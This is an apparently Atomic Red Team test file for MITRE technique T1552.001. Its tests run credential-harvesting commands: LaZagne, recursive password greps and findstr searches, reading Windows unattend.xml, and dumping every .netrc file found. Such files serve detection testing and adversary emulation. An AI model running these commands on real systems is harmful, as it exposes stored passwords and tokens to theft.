attack_technique: T1552.001
display_name: 'Unsecured Credentials: Credentials In Files'
atomic_tests:
- name: Extract Browser and System credentials with LaZagne
  auto_generated_guid: 9e507bb8-1d30-4e3b-a49b-cb5727d7ea79
  description: |
    [LaZagne Source](https://github.com/AlessandroZ/LaZagne)
  supported_platforms:
  - macos
  executor:
    command: |
      python2 laZagne.py all
    elevation_required: true
    name: bash
- name: Extract passwords with grep
  auto_generated_guid: bd4cf0d1-7646-474e-8610-78ccf5a097c4
  description: |
    Extracting credentials from files
  supported_platforms:
  - macos
  - linux
  input_arguments:
    file_path:
      description: Path to search
      type: String
      default: /
  executor:
    command: |
      grep -ri password #{file_path}
    name: sh
- name: Extracting passwords with findstr
  auto_generated_guid: 0e56bf29-ff49-4ea5-9af4-3b81283fd513
  description: |
    Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
  supported_platforms:
  - windows
  executor:
    command: |
      findstr /si pass *.xml *.doc *.txt *.xls
      ls -R | select-string -Pattern password
    name: powershell
- name: Access unattend.xml
  auto_generated_guid: 367d4004-5fc0-446d-823f-960c74ae52c3
  description: |
    Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored.
    If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
  supported_platforms:
  - windows
  executor:
    command: |
      type C:\Windows\Panther\unattend.xml
      type C:\Windows\Panther\Unattend\unattend.xml
    name: command_prompt
    elevation_required: true

- name: Find and Access Github Credentials
  auto_generated_guid: da4f751a-020b-40d7-b9ff-d433b7799803
  description: |
    This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.

  supported_platforms:
    - macos
    - linux

  executor:
    name: bash
    elevation_required: false # Indicates whether command must be run with admin privileges. If the elevation_required attribute is not defined, the value is assumed to be false.
    command: | 
      for file in $(find / -name .netrc 2> /dev/null);do echo $file ; cat $file ; done 
      

